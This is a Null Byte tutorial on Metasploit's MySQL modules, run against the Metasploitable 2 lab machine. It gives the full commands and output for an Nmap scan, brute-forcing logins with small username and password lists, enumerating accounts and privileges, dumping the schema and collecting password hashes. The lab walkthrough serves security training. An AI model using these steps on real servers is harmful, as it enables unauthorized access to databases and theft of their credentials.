How to Enumerate MySQL Databases with Metasploit « Null Byte :: WonderHowTo

It's been said time and time again:reconnaissanceis perhaps the most critical phase of an attack. It's especially important when preparing an attack against a database since one wrong move can destroy every last bit of data, which usually isn't the desired outcome.Metasploitcontains a variety of modules that can be used to enumerate MySQL databases, making it easy to gather valuable information.What Information Is Valuable to an Attacker?To a skilled hacker, almost any data can be important when it comes to preparing an attack. When we think ofSQLfrom this perspective, a lot of times our minds go right toSQL injection, but gathering information about the database itself can sometimes be just as important.Don't Miss:Use SQL Injection to Run OS Commands & Get a ShellThings to look for when enumerating a database include the version, as sometimes a successful attack can be as easy as finding an exploit for an outdated version. Other things to look for are valid credentials, which can not only be used for the database, but often can be used for other applications or systems (password reuse is a real thing, and a real problem for organizations). Lastly, information about the structure of the database can be extremely useful for performingSQL injectionsince knowing what's there is often half the battle.Today, we will be usingMetasploitto enumerate some of this information on a MySQL database. We'll be attackingMetasploitable 2via ourKali Linuxbox.Step 1: Perform the Nmap ScanThe first thing we need to do is determine ifMySQLis running on the target. Since we know it runs on port 3306 by default, we can useNmapto scan the host:~# nmap 10.10.0.50 -p 3306

Starting Nmap 7.70 ( https://nmap.org ) at 2020-01-21 08:09 CDT
Nmap scan report for 10.10.0.50
Host is up (0.00073s latency).

PORT     STATE SERVICE
3306/tcp open  mysql
MAC Address: 00:1D:09:55:B1:3B (Dell)

Nmap done: 1 IP address (1 host up) scanned in 0.14 secondsAnd we can see,MySQLis indeed running and the port is open. Remember to use the correct IP address of the target.Step 2: Get the Login InfoNow that we are certain MySQL is open on the target, we can get into enumeration to gather as much information as possible for reconnaissance. To begin, fire upMetasploitby typingmsfconsolein the terminal.~# msfconsoleWe can then search for any modules relating to MySQL by using thesearchcommand:msf5 > search mysql

Matching Modules
================

   #   Name                                                  Disclosure Date  Rank       Check  Description
   -   ----                                                  ---------------  ----       -----  -----------
   0   auxiliary/admin/http/manageengine_pmp_privesc         2014-11-08       normal     Yes    ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection
   1   auxiliary/admin/http/rails_devise_pass_reset          2013-01-28       normal     No     Ruby on Rails Devise Authentication Password Reset
   2   auxiliary/admin/mysql/mysql_enum                                       normal     No     MySQL Enumeration Module
   3   auxiliary/admin/mysql/mysql_sql                                        normal     No     MySQL SQL Generic Query
   4   auxiliary/admin/tikiwiki/tikidblib                    2006-11-01       normal     No     TikiWiki Information Disclosure
   5   auxiliary/analyze/jtr_mysql_fast                                       normal     No     John the Ripper MySQL Password Cracker (Fast Mode)
   6   auxiliary/gather/joomla_weblinks_sqli                 2014-03-02       normal     Yes    Joomla weblinks-categories Unauthenticated SQL Injection Arbitrary File Read
   7   auxiliary/scanner/mysql/mysql_authbypass_hashdump     2012-06-09       normal     Yes    MySQL Authentication Bypass Password Dump
   8   auxiliary/scanner/mysql/mysql_file_enum                                normal     Yes    MYSQL File/Directory Enumerator
   9   auxiliary/scanner/mysql/mysql_hashdump                                 normal     Yes    MYSQL Password Hashdump
   10  auxiliary/scanner/mysql/mysql_login                                    normal     Yes    MySQL Login Utility
   11  auxiliary/scanner/mysql/mysql_schemadump                               normal     Yes    MYSQL Schema Dump
   12  auxiliary/scanner/mysql/mysql_version                                  normal     Yes    MySQL Server Version Enumeration
   13  auxiliary/scanner/mysql/mysql_writable_dirs                            normal     Yes    MYSQL Directory Write Test
   14  auxiliary/server/capture/mysql                                         normal     No     Authentication Capture: MySQL
   15  exploit/linux/mysql/mysql_yassl_getname               2010-01-25       good       No     MySQL yaSSL CertDecoder::GetName Buffer Overflow
   16  exploit/linux/mysql/mysql_yassl_hello                 2008-01-04       good       No     MySQL yaSSL SSL Hello Message Buffer Overflow
   17  exploit/multi/http/manage_engine_dc_pmp_sqli          2014-06-08       excellent  Yes    ManageEngine Desktop Central / Password Manager LinkViewFetchServlet.dat SQL Injection
   18  exploit/multi/http/zpanel_information_disclosure_rce  2014-01-30       excellent  No     Zpanel Remote Unauthenticated RCE
   19  exploit/multi/mysql/mysql_udf_payload                 2009-01-16       excellent  No     Oracle MySQL UDF Payload Execution
   20  exploit/unix/webapp/kimai_sqli                        2013-05-21       average    Yes    Kimai v0.9.2 'db_restore.php' SQL Injection
   21  exploit/unix/webapp/wp_google_document_embedder_exec  2013-01-03       normal     Yes    WordPress Plugin Google Document Embedder Arbitrary File Disclosure
   22  exploit/windows/mysql/mysql_mof                       2012-12-01       excellent  Yes    Oracle MySQL for Microsoft Windows MOF Execution
   23  exploit/windows/mysql/mysql_start_up                  2012-12-01       excellent  Yes    Oracle MySQL for Microsoft Windows FILE Privilege Abuse
   24  exploit/windows/mysql/mysql_yassl_hello               2008-01-04       average    No     MySQL yaSSL SSL Hello Message Buffer Overflow
   25  exploit/windows/mysql/scrutinizer_upload_exec         2012-07-27       excellent  Yes    Plixer Scrutinizer NetFlow and sFlow Analyzer 9 Default MySQL Credential
   26  post/linux/gather/enum_configs                                         normal     No     Linux Gather Configurations
   27  post/linux/gather/enum_users_history                                   normal     No     Linux Gather User History
   28  post/multi/manage/dbvis_add_db_admin                                   normal     No     Multi Manage DbVisualizer Add Db AdminThere's a lot here, but mostly we are concerned with some of the auxiliary scanners for now. The first one we'll look at is themysql_loginmodule, which will find some valid credentials for the MySQL service. Load it up with theusecommand:msf5 > use auxiliary/scanner/mysql/mysql_loginNow, we can take a look at the current settings using theoptionscommand:msf5 auxiliary(scanner/mysql/mysql_login) > options

Module options (auxiliary/scanner/mysql/mysql_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                             yes       The target address range or CIDR identifier
   RPORT             3306             yes       The target port (TCP)
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false            no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attemptsFirst, let's create a text file containing a list ofpossible usernames. We'll keep it short for demonstration purposes, but longer, publicly available lists can also be used. We'll call itusers.txt:msf5 auxiliary(scanner/mysql/mysql_login) > nano users.txt

[*] exec: nano users.txtNow let's add a few common potential usernames:root
admin
guest
user
mysqlSave the file, then we'll do thesame thing for passwords:msf5 auxiliary(scanner/mysql/mysql_login) > nano passwords.txt

[*] exec: nano passwords.txtAgain, feel free to use longerpassword lists, but just know the module will take longer to complete. For now, we'll throw in a few common passwords:password
mysql
root
adminThen, we can set the file to read the usernames from:msf5 auxiliary(scanner/mysql/mysql_login) > set user_file users.txt

user_file => users.txtAnd do the same for the passwords file:msf5 auxiliary(scanner/mysql/mysql_login) > set pass_file passwords.txt

pass_file => passwords.txtMySQL can also allow logins with a blank password, so it's wise to check for that as well. Set the option totrueto check for blank passwords:msf5 auxiliary(scanner/mysql/mysql_login) > set blank_passwords true

blank_passwords => trueThe last thing we need to do is set the IP address of our target. We can use thesetgcommand here to set the option globally since all of our scans will run on the same host:msf5 auxiliary(scanner/mysql/mysql_login) > setg rhosts 10.10.0.50

rhosts => 10.10.0.50Finally, typerunto kick it off:msf5 auxiliary(scanner/mysql/mysql_login) > run

[+] 10.10.0.50:3306       - 10.10.0.50:3306 - Found remote MySQL version 5.0.51a
[!] 10.10.0.50:3306       - No active DB -- Credential data will not be saved!
[+] 10.10.0.50:3306       - 10.10.0.50:3306 - Success: 'root:'
[-] 10.10.0.50:3306       - 10.10.0.50:3306 - LOGIN FAILED: admin: (Incorrect: Access denied for user 'admin'@'10.10.0.1' (using password: NO))
[-] 10.10.0.50:3306       - 10.10.0.50:3306 - LOGIN FAILED: admin:password (Incorrect: Access denied for user 'admin'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306       - 10.10.0.50:3306 - LOGIN FAILED: admin:mysql (Incorrect: Access denied for user 'admin'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306       - 10.10.0.50:3306 - LOGIN FAILED: admin:root (Incorrect: Access denied for user 'admin'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306       - 10.10.0.50:3306 - LOGIN FAILED: admin:admin (Incorrect: Access denied for user 'admin'@'10.10.0.1' (using password: YES))
[+] 10.10.0.50:3306       - 10.10.0.50:3306 - Success: 'guest:'
[-] 10.10.0.50:3306       - 10.10.0.50:3306 - LOGIN FAILED: user: (Incorrect: Access denied for user 'user'@'10.10.0.1' (using password: NO))
[-] 10.10.0.50:3306       - 10.10.0.50:3306 - LOGIN FAILED: user:password (Incorrect: Access denied for user 'user'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306       - 10.10.0.50:3306 - LOGIN FAILED: user:mysql (Incorrect: Access denied for user 'user'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306       - 10.10.0.50:3306 - LOGIN FAILED: user:root (Incorrect: Access denied for user 'user'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306       - 10.10.0.50:3306 - LOGIN FAILED: user:admin (Incorrect: Access denied for user 'user'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306       - 10.10.0.50:3306 - LOGIN FAILED: mysql: (Incorrect: Access denied for user 'mysql'@'10.10.0.1' (using password: NO))
[-] 10.10.0.50:3306       - 10.10.0.50:3306 - LOGIN FAILED: mysql:password (Incorrect: Access denied for user 'mysql'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306       - 10.10.0.50:3306 - LOGIN FAILED: mysql:mysql (Incorrect: Access denied for user 'mysql'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306       - 10.10.0.50:3306 - LOGIN FAILED: mysql:root (Incorrect: Access denied for user 'mysql'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306       - 10.10.0.50:3306 - LOGIN FAILED: mysql:admin (Incorrect: Access denied for user 'mysql'@'10.10.0.1' (using password: YES))
[*] 10.10.0.50:3306       - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completedWe can see that it tries all the possible combinations of usernames and passwords we gave it, and it found a couple of valid logins in the process. It looks like bothguestandrootare valid logins using blank passwords, which will be good to know for the upcoming modules.Step 3: Run the MySQL EnumeratorThe next module we'll look at will automatically enumerate various information about the MySQL database, including the version number,server information, data directory, and several other options that can be configured in MySQL.To get started, load themysql_enummodule:msf5 auxiliary(scanner/mysql/mysql_login) > use auxiliary/admin/mysql/mysql_enumNext, we can take a look at the options this module has to offer:msf5 auxiliary(admin/mysql/mysql_enum) > options

Module options (auxiliary/admin/mysql/mysql_enum):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        The password for the specified username
   RHOSTS    10.10.0.50       yes       The target address range or CIDR identifier
   RPORT     3306             yes       The target port (TCP)
   USERNAME                   no        The username to authenticate asThe port number is set by default, and since we previously used the global option to set the IP address, the only thing we need to set here is the username. We know from the previous step that this instance of MySQL allowsrootto login with a blank password, so we can set that option globally now:msf5 auxiliary(admin/mysql/mysql_enum) > setg username root

username => rootThe only thing left to do is to launch the module:msf5 auxiliary(admin/mysql/mysql_enum) > run

[*] Running module against 10.10.0.50

[*] 10.10.0.50:3306 - Running MySQL Enumerator...
[*] 10.10.0.50:3306 - Enumerating Parameters
[*] 10.10.0.50:3306 -   MySQL Version: 5.0.51a-3ubuntu5
[*] 10.10.0.50:3306 -   Compiled for the following OS: debian-linux-gnu
[*] 10.10.0.50:3306 -   Architecture: i486
[*] 10.10.0.50:3306 -   Server Hostname: metasploitable
[*] 10.10.0.50:3306 -   Data Directory: /var/lib/mysql/
[*] 10.10.0.50:3306 -   Logging of queries and logins: OFF
[*] 10.10.0.50:3306 -   Old Password Hashing Algorithm OFF
[*] 10.10.0.50:3306 -   Loading of local files: ON
[*] 10.10.0.50:3306 -   Deny logins with old Pre-4.1 Passwords: OFF
[*] 10.10.0.50:3306 -   Allow Use of symlinks for Database Files: YES
[*] 10.10.0.50:3306 -   Allow Table Merge: YES
[*] 10.10.0.50:3306 -   SSL Connections: Enabled
[*] 10.10.0.50:3306 -   SSL CA Certificate: /etc/mysql/cacert.pem
[*] 10.10.0.50:3306 -   SSL Key: /etc/mysql/server-key.pem
[*] 10.10.0.50:3306 -   SSL Certificate: /etc/mysql/server-cert.pem
[*] 10.10.0.50:3306 - Enumerating Accounts:
[*] 10.10.0.50:3306 -   List of Accounts with Password Hashes:
[+] 10.10.0.50:3306 -       User: debian-sys-maint Host:  Password Hash:
[+] 10.10.0.50:3306 -       User: root Host: % Password Hash:
[+] 10.10.0.50:3306 -       User: guest Host: % Password Hash:
[*] 10.10.0.50:3306 -   The following users have GRANT Privilege:
[*] 10.10.0.50:3306 -       User: debian-sys-maint Host:
[*] 10.10.0.50:3306 -       User: root Host: %
[*] 10.10.0.50:3306 -       User: guest Host: %
[*] 10.10.0.50:3306 -   The following users have CREATE USER Privilege:
[*] 10.10.0.50:3306 -       User: root Host: %
[*] 10.10.0.50:3306 -       User: guest Host: %
[*] 10.10.0.50:3306 -   The following users have RELOAD Privilege:
[*] 10.10.0.50:3306 -       User: debian-sys-maint Host:
[*] 10.10.0.50:3306 -       User: root Host: %
[*] 10.10.0.50:3306 -       User: guest Host: %
[*] 10.10.0.50:3306 -   The following users have SHUTDOWN Privilege:
[*] 10.10.0.50:3306 -       User: debian-sys-maint Host:
[*] 10.10.0.50:3306 -       User: root Host: %
[*] 10.10.0.50:3306 -       User: guest Host: %
[*] 10.10.0.50:3306 -   The following users have SUPER Privilege:
[*] 10.10.0.50:3306 -       User: debian-sys-maint Host:
[*] 10.10.0.50:3306 -       User: root Host: %
[*] 10.10.0.50:3306 -       User: guest Host: %
[*] 10.10.0.50:3306 -   The following users have FILE Privilege:
[*] 10.10.0.50:3306 -       User: debian-sys-maint Host:
[*] 10.10.0.50:3306 -       User: root Host: %
[*] 10.10.0.50:3306 -       User: guest Host: %
[*] 10.10.0.50:3306 -   The following users have PROCESS Privilege:
[*] 10.10.0.50:3306 -       User: debian-sys-maint Host:
[*] 10.10.0.50:3306 -       User: root Host: %
[*] 10.10.0.50:3306 -       User: guest Host: %
[*] 10.10.0.50:3306 -   The following accounts have privileges to the mysql database:
[*] 10.10.0.50:3306 -       User: debian-sys-maint Host:
[*] 10.10.0.50:3306 -       User: root Host: %
[*] 10.10.0.50:3306 -       User: guest Host: %
[*] 10.10.0.50:3306 -   The following accounts have empty passwords:
[*] 10.10.0.50:3306 -       User: debian-sys-maint Host:
[*] 10.10.0.50:3306 -       User: root Host: %
[*] 10.10.0.50:3306 -       User: guest Host: %
[*] 10.10.0.50:3306 -   The following accounts are not restricted by source:
[*] 10.10.0.50:3306 -       User: guest Host: %
[*] 10.10.0.50:3306 -       User: root Host: %
[*] Auxiliary module execution completedWe can see it returns a bunch of information that could end up being extremely useful.Step 4: Dump the Database SchemaThe next module we will use is themysql_schemadumpmodule, which, as the name implies, will dump theschema informationabout the database. A schema can be thought of as a sort of a blueprint for the database, containing organizational details on how it's laid out. It can be a lot of data to sift through, but it can help identify key pieces of the database in the recon phase.First, load the module:msf5 auxiliary(admin/mysql/mysql_enum) > use auxiliary/scanner/mysql/mysql_schemadumpAnd we can look at the options:msf5 auxiliary(scanner/mysql/mysql_schemadump) > options

Module options (auxiliary/scanner/mysql/mysql_schemadump):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   DISPLAY_RESULTS  true             yes       Display the Results to the Screen
   PASSWORD                          no        The password for the specified username
   RHOSTS           10.10.0.50       yes       The target address range or CIDR identifier
   RPORT            3306             yes       The target port (TCP)
   THREADS          1                yes       The number of concurrent threads
   USERNAME         root             no        The username to authenticate asEverything should be good to go here, so let's kick it off:msf5 auxiliary(scanner/mysql/mysql_schemadump) > run

[+] 10.10.0.50:3306       - Schema stored in: /root/.msf4/loot/20200121084427_default_10.10.0.50_mysql_schema_679633.txt
[+] 10.10.0.50:3306       - MySQL Server Schema
 Host: 10.10.0.50
 Port: 3306
 ====================

---
- DBName: dvwa
  Tables:
  - TableName: guestbook
    Columns:
    - ColumnName: comment_id
      ColumnType: smallint(5) unsigned
    - ColumnName: comment
      ColumnType: varchar(300)
    - ColumnName: name
      ColumnType: varchar(100)
  - TableName: users
    Columns:
    - ColumnName: user_id
      ColumnType: int(6)
    - ColumnName: first_name
      ColumnType: varchar(15)
    - ColumnName: last_name
      ColumnType: varchar(15)
    - ColumnName: user
      ColumnType: varchar(15)
    - ColumnName: password
      ColumnType: varchar(32)
    - ColumnName: avatar
      ColumnType: varchar(70)
- DBName: metasploit
  Tables: []
- DBName: owasp10
  Tables:
  - TableName: accounts
    Columns:
    - ColumnName: cid
      ColumnType: int(11)
    - ColumnName: username
      ColumnType: text
    - ColumnName: password
      ColumnType: text
    - ColumnName: mysignature
      ColumnType: text
    - ColumnName: is_admin
      ColumnType: varchar(5)
  - TableName: blogs_table

...As previously stated, it will return a lot of information, but luckily,Metasploit saves the lootin a text file for more convenient viewing.Step 5: Get the MySQL Password HashesThe next module we'll try out will attempt to gather any additionalpassword hashesit finds in the database. It can be useful for pivoting to other systems, identifying password reuse, or gaining admin privileges if operating as another user.Load themysql_hashdumpmodule:msf5 auxiliary(scanner/mysql/mysql_schemadump) > use auxiliary/scanner/mysql/mysql_hashdumpAnd take a peek at the options:msf5 auxiliary(scanner/mysql/mysql_hashdump) > options

Module options (auxiliary/scanner/mysql/mysql_hashdump):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        The password for the specified username
   RHOSTS    10.10.0.50       yes       The target address range or CIDR identifier
   RPORT     3306             yes       The target port (TCP)
   THREADS   1                yes       The number of concurrent threads
   USERNAME  root             no        The username to authenticate asAgain, it all looks good, so we can launch the module:msf5 auxiliary(scanner/mysql/mysql_hashdump) > run

[+] 10.10.0.50:3306       - Saving HashString as Loot: debian-sys-maint:
[+] 10.10.0.50:3306       - Saving HashString as Loot: root:
[+] 10.10.0.50:3306       - Saving HashString as Loot: guest:
[*] 10.10.0.50:3306       - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completedWe can see that it completes and saves any discovered hashes as loot. In this case, none of the users on the system have passwords set, so we don't get any strings.Step 6: Run SQL QueriesThe last module we will look at today is themysql_sql module, which can run SQL queries from within the Metasploit Framework. It does require a working knowledge of the SQL language, so at this point, it might be more efficient to just connect to the database directly to issue commands. However, this demonstrates how to do everything without having to leave Metasploit.First, load the module:msf5 auxiliary(scanner/mysql/mysql_hashdump) > use auxiliary/admin/mysql/mysql_sqlThen, we can view the current options:msf5 auxiliary(admin/mysql/mysql_sql) > options

Module options (auxiliary/admin/mysql/mysql_sql):

   Name      Current Setting   Required  Description
   ----      ---------------   --------  -----------
   PASSWORD                    no        The password for the specified username
   RHOSTS    10.10.0.50        yes       The target address range or CIDR identifier
   RPORT     3306              yes       The target port (TCP)
   SQL       select version()  yes       The SQL to execute.
   USERNAME  root              no        The username to authenticate asThe only thing we need to set is the SQL query to run against the target. For instance, one of the first commands to get familiar with when connecting to a database is theshow databasescommand. That will list all of the available databases to use.Set the option:msf5 auxiliary(admin/mysql/mysql_sql) > set sql show databases

sql => show databasesAnd finally, run the module:msf5 auxiliary(admin/mysql/mysql_sql) > run

[*] Running module against 10.10.0.50

[*] 10.10.0.50:3306 - Sending statement: 'show databases'...
[*] 10.10.0.50:3306 -  | information_schema |
[*] 10.10.0.50:3306 -  | dvwa |
[*] 10.10.0.50:3306 -  | metasploit |
[*] 10.10.0.50:3306 -  | mysql |
[*] 10.10.0.50:3306 -  | owasp10 |
[*] 10.10.0.50:3306 -  | tikiwiki |
[*] 10.10.0.50:3306 -  | tikiwiki195 |
[*] Auxiliary module execution completedWe can see there are a handful of different databases present in this instance of MySQL.Wrapping UpToday, we explored some ways to collect valuable information about MySQL databases using Metasploit. We learned how to find credentials, schema information, password hashes, and other useful data that could be used to successfully attack the system. Bottom line: it pays to be prepared.Don't Miss:SQL Injection 101: How to Fingerprint Databases & Perform General Reconnaissance for a More Successful AttackWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image bygeralt/Pixabay; Screenshots by drd_/Null ByteRelatedHow to Hack Databases:Extracting Data from Online Databases Using SqlmapHow to Hack Databases:Hacking MySQL Online Databases with SqlmapHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 14 (MySQL)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 15 (Creating a Secure Tunnel to MySQL)Hack Like a Pro:Snort IDS for the Aspiring Hacker, Part 3 (Sending Intrusion Alerts to MySQL)How To:Use Metasploit's Database to Stay Organized & Store Information While HackingSQL Injection 101:How to Fingerprint Databases & Perform General Reconnaissance for a More Successful AttackHow To:Use Metasploit's WMAP Module to Scan Web Applications for Common VulnerabilitiesHow to Hack Databases:Hunting for Microsoft's SQL ServerHow To:Use PHP to login to a MYSQL databaseHow to Hack Like a Pro:Getting Started with MetasploitHow To:Create a MySQL user login database with PHPHow To:Import Excel to a MySQL database with cPanelHow To:Access and edit databases in MySQL Query BrowserHow To:Make a MySQL database for CoffeeCup Form BuilderHow To:Export a MySQL database table to Excel with cPanelHow To:Transfer data between 2 MySQL databases in DreamCoderHow To:Connect to a MySQL database using DreamCoderHow To:Connect to a database & add data in PHP & MYSQLHow To:Synchronize two MySQL databases with DreamCoderHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 10 (Manipulating Text)Mac for Hackers:How to Install the Metasploit FrameworkHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow To:Monitor your MySQL database server via DreamCoderHow To:Install WAMP and create a MySQL databaseHow To:Backup a MySQL database with DreamCoderHow To:Write a subquery or sub select in your MySQL databaseHow To:Develop a social networking community website with PHP, MySQL & ActionScript 3How To:Identify Missing Windows Patches for Easier ExploitationHow To:Use John the Ripper in Metasploit to Quickly Crack Windows HashesHow To:Install MySQL on Windows 2003Hack Logs and Linux Commands:What's Going On Here?How To:The Essential Newbie's Guide to SQL Injections and Manipulating Data in a MySQL DatabaseIPsec Tools of the Trade:Don't Bring a Knife to a GunfightGoodnight Byte:HackThisSite, Realistic 4 - Real Hacking Simulations